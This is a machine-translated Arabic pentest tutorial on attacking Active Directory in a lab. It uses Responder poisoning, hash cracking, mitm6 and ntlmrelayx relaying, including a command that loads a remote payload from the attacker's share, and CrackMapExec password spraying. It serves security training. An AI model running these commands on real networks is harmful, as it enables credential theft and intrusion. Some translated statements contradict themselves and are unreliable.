دليل نشط Pentest. الجزء 1

تم إعداد ترجمة المقال خاصة لطلاب البنتستي. ممارسة اختبار الاختراق " .




كان لدي العديد من العملاء الذين جاؤوا إلي قبل أن يخبرني ذلك بثقة أنهم في حالة جيدة ، لأن تحليل الثغرات الأمنية لديهم لم يظهر نقاط ضعف حرجة ، وأنهم كانوا على استعداد للمكابح ، فقط حتى أتمكن من الحصول على حقوق مسؤول المجال في خمسة عشر دقيقة ، فقط الاستفادة من أخطاء التكوين في م.

إحدى الثغرات في التعليم التي أراها في اختبار الاختراق هي قلة الوعي عندما يتعلق الأمر بـ Active Directory Pentesting (AD). لسوء الحظ ، OSCP لا يعلم اختبار AD ، وحتى بالطبع SENS GPEN بالكاد يمس هذا. الهدف من هذه السلسلة هو المساعدة في إظهار بعض الحيل والأدوات والتقنيات التي استخدمتها في الماضي من أجل تحقيق نتائج ناجحة باستخدام م. هذا هو بأي حال من الأحوال دليل شامل لكل طريقة أو أداة. خلال هذه السلسلة ، سأستخدم Kali Linux 2019 وأعمل في مجالي الدمي من خلال الأجهزة الافتراضية.

لنبدأ بتحديد الهدف : الهدف من اختبار الاختراق هو تحديد أي متجه هجوم محتمل يستخدمه المهاجم لاقتحام الشبكة. الأمر لا يتعلق فقط بالحصول على حقوق مسؤول المجال ثم تسجيل الخروج.

الآن بعد أن أصبح لدينا هدف ، يجب أن نتخذ عدة خطوات لتحقيقه. يوجد أدناه دليل مرئي (تقريبي) لدورة pentesting.


بواسطة: مايكروسوفت

ملخص : قام عميل بتوظيفك لتشغيل اختبار الاختراق على شبكتهم التي تستخدم Active Directory. لم تحصل على أي شيء. لا يوجد لديك بيانات اعتماد ، ولا حدود اختبار ، ولا تصريح للدخول إلى الباب الأمامي ، لكنك تستطيع أن تتخلى عن شخص ما عبر الباب وتجد غرفة معزولة بهاتف IP. تقوم بفصل هاتف IP الخاص بك ، وتوصيل الكمبيوتر المحمول الخاص بك ، وتجد نفسك على الإنترنت. ما التالي؟ التنفيذ .

المرحلة الأولى | مقدمة من


بدون بيانات اعتماد ، لا يمكننا إجراء سوى استطلاع محدود ، وستحدث الاستطلاع في كل مرحلة تقريبًا من الدورة ، ولكن هناك العديد من الأشياء التي يمكننا القيام بها على الفور للحصول على موطئ قدم في الشبكة. أولاً ، نظرًا لأن لدينا وصول إلى الشبكة ، ما عليك سوى التحقق من الشبكة الفرعية التي نعمل عليها عبر ifconfig أو ipconfig. بعد تلقي عنوان IP ، قم بإصدار الأمر ping في nmap لمعرفة ما إذا كانت الأجهزة الأخرى متوفرة.

nmap -sn 192.168.1.1/24 

إذا عادت الأجهزة ، فأنت في العمل. إذا كنت لا تتلقى أي شيء ، فقد يتم تعطيل ICMP ، أو لا توجد أجهزة أخرى على الشبكة ، أو لأنك لم تتم المصادقة ، لا يمكنك الاتصال بأجهزة أخرى وربما يكون قد تم حظره بواسطة حل أمان الهوية (على سبيل المثال ، Cisco ISE). من أجل المقال ، دعنا نفترض أن العديد من الأجهزة تعود ويمكنك اختبارها بنجاح.



الأداة : المستجيب

بعد ذلك ، سوف نستخدم أداة تسمى المستجيب ، أو ، إذا لم تكن غير مبال بنظام Windows ، في Inveigh . تحقق هاتان الأداتان من وجود خطأ شائع جدًا في تكوين AD ، مما يؤدي إلى احتمال تسمم WPAD و NBT-NS. افتراضيًا ، يتم تكوين Windows للبحث عن ملف تكوين وكيل تلقائي (PAC) من خلال اكتشاف وكيل الويب التلقائي (WPAD). من المهم أن نلاحظ أن WPAD ليس البروتوكول الذي يقوم بالبحث ، وإنما هو مجرد مجموعة من الإجراءات التي تسمح للجهاز بالعثور على ملف PAC. يعد الكشف عن ملف PAC تلقائيًا مفيدًا للمؤسسات لأن الجهاز سيرسل بثًا يطلب ملف وكيل ويستلمه. ومع ذلك ، بالطبع ، لا يصادق من يرسل ملف الوكيل ، مما يسمح للمهاجم بإرسال استجابة وهمية ، والتي تطلب بعد ذلك بيانات الاعتماد.

في كالي يتم تثبيت المستجيب بشكل افتراضي.

 responder -I eth0 --wpad 

على جهاز الكمبيوتر الذي يعمل بنظام Windows 7 ، أفتح Internet Explorer وانتقل إلى Google ، ثم يبدأ البحث عن ملف WPAD. في المستجيب ، أرى كيف وصل الطلب ، وبعد ذلك يستجيب المستجيب تلقائيًا للطلب ، ونتيجة لذلك يرسل الضحية اسم المستخدم وكلمة المرور المجزأة (بتنسيق NTLMv2).



هناك العديد من الأشياء التي يمكننا القيام بها مع هذا التجزئة. يمكننا محاولة اختراقه أو ntlmrelay.py باستخدام أداة مثل ntlmrelay.py . تحدثت عن كيفية ترجمة تجزئات ntlm في هذه المقالة ، لذلك سأنتقل إلى اختراقها ، لأن هذا عادة ما أقوم به في الممارسة العملية بالضبط.

أن نكون صادقين ، أنا نادراً ما كسر كلمات المرور على Linux / Kali. أستخدم وحدة معالجة الرسومات nvidia ، التي لا يتم تثبيتها بشكل صحيح على Kali ، بالإضافة إلى وجود HashcatGUI على Windows ، مما يجعل العملية أسهل كثيرًا ، وهذا ما سأستخدمه. آخذ التجزئة الناتجة ، ووضعها في ملف يسمى "hash.txt" وأقوم بتشغيل العديد من قوائم / قواعد الكلمات. لكن في هذه الحالة ، قمت فقط بتشغيل rockyou.txt وتم اختراقه لمدة ثانية.


الإعدادات الخاصة بي لـ HashcatGUI.


اختراق كلمة المرور - "كلمة المرور!"

الآن بعد أن نجحنا في كسر كلمة المرور ، لدينا بيانات الاعتماد "Alice: Password"!

قبل المتابعة ، هناك عدة طرق أخرى أرغب في عرضها في حالة عدم عمل المستجيب.



الأداة : mitm6

دعنا نقول أن شبكة العميل تستخدم ملف PAC شرعي ، ولا يعمل خداعك. هناك طريقة أخرى تستخدم IPv6 و DNS لتمرير بيانات الاعتماد إلى الهدف. بشكل افتراضي ، يتم تمكين IPv6 ويفضل بالفعل IPv4. هذا يعني أنه إذا كان لدى الكمبيوتر خادم DNS IPv6 ، فسيفضل IPv4. أيضًا ، بشكل افتراضي ، تبحث أجهزة Windows عن خادم DNS IPv6 من خلال طلبات DHCPv6 ، مما يعني أنه إذا قمنا بتزوير خادم DNS IPv6 ، يمكننا التحكم بشكل فعال في كيفية طلب الجهاز DNS. اقرأ المزيد عن هذا هنا .

قم بتنزيل mitm6 أولاً .

 git clone https://github.com/fox-it/mitm6.git cd mitm6 pip install . 

ثم قم بتشغيله على مجموعة عمل الشبكة المستهدفة. نظرًا لأننا نجربنا سابقًا من اختبار الشبكة ، حصلنا أيضًا على أسماء NetBIOS ، حيث lab.local أن المجال المستهدف هو lab.local .

هذا ما تبدو عليه إعدادات IP الهدف قبل أن mitm6


انتبه إلى خادم DNS واحد
ثم أطلقت mitm6

 mitm6 -d lab.local 



والآن تغيرت أهداف خادم DNS


لاحظ عنوان IPv6 كخادم DNS.

تتمثل الثغرة الحقيقية الآن في أن Windows يفضل IPv6 بدلاً من IPv4 ، وهذا يعني أنني أتحكم الآن في DNS.

لذلك نحن الآن نستخدم حقيقة أننا نتحكم في DNS عن طريق خداع استجابات WPAD من خلال ntlmrelayx.py . كتبت دليلاً حول كيفية تثبيته.

مع تشغيل mitm6 في نافذة واحدة ، افتح نافذة أخرى وقم بتشغيل ntlmrelayx.py

 ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i 

-wh : خادم يستضيف ملف WPAD (IP المهاجم)
-t : الهدف (لا يمكنك إعادة توجيه بيانات الاعتماد إلى نفس الجهاز الذي تقوم بتصنيعه)
-i : فتح قذيفة التفاعلية



من هنا يمكنك الاتصال بنظام التحكم والمراقبة (C2) الذي تختاره. في هذه الحالة ، أستخدم SILENTTRINITY ، لذلك أستخدم الأمر -c لتنفيذ الأمر الخاص بي ، والذي يستخدم في هذه الحالة MSBuild لإنشاء حمولة ضارة.

 ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml' 



لكن لا ، لا يقوم msbuild.exe بإنشاء ملف XML في هذه الحالة ، ولا أحصل على اتصال بـ SILENTTRINITY ، لأن ذلك سيكون بسيطًا جدًا. بدلاً من ذلك ، أنا أنظر إلى خادم SMB الخاص بي وأرى تجزئة الترحيل



الذي أنا ، بدوره ، اخترق.



والآن لدينا بيانات اعتماد الشبكة دون استخدام "المستجيب".



الأداة : CrackMapExec

CrackMapExec هو في الأساس سكين بنتستر سويسري. من هجمات رش كلمات المرور وتحويلات التجزئة ، إلى أوامر التنفيذ ، يجب أن تكون في كل مجموعة من الأدوات للمخادعين.

إذا فشل كل شيء آخر ، يمكننا محاولة استخدام هجوم رذاذ كلمة المرور. هناك سبب يجعل هذه الطريقة هي الأخيرة ، وهذا بسبب قفل كلمة المرور. حظر كلمة المرور ليس شائعًا كما تعتقد ، والذي يسمح للمهاجم باستخدام هجوم القاموس حسب اسم المستخدم. الحصول على اسم مستخدم هو الخطوة الأولى التي يمكن القيام بها من خلال OSINT و مع Harvester. إذا لم يكن لدينا اسم مستخدم من OSINT ، فيمكننا أيضًا إعطاء CrackMapExec (CME) قائمة بأسماء المستخدمين ، ولكن من أجل الوقت ، لنفترض أن لدينا اسم مستخدم rsmith .

إذا كنت تستخدم Kali ، فيجب أن يكون CrackMapExec مثبتًا بالفعل ، إذا كنت تستخدم إصدارًا أحدث ، ولكن إذا لم يكن كذلك ، فيمكنك تثبيته

 apt-get install crackmapexec 

نظرًا لأن عملية الفحص قد وجدنا الجهاز على الشبكة ، فيمكننا إعطاء CME قائمة بكلمات المرور المقترنة باسم المستخدم ومحاولة تسجيل الدخول إلى النظام.

 crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p ~/Documents/wordlists/fasttrack.txt --shares 

بعد بضع ثوان ، تم العثور على كلمة المرور.



أوراق الاعتماد وجدت!

قد يبدو CTF للغاية ، ولكن الموسم: العام هو مزيج شائع للغاية من كلمات المرور.

مع الحصول على بيانات الاعتماد هذه ، لدينا الآن حساب مستخدم. سننتقل إلى تصعيد الامتياز في الجزء الثاني .

Source: https://habr.com/ru/post/ar481348/


All Articles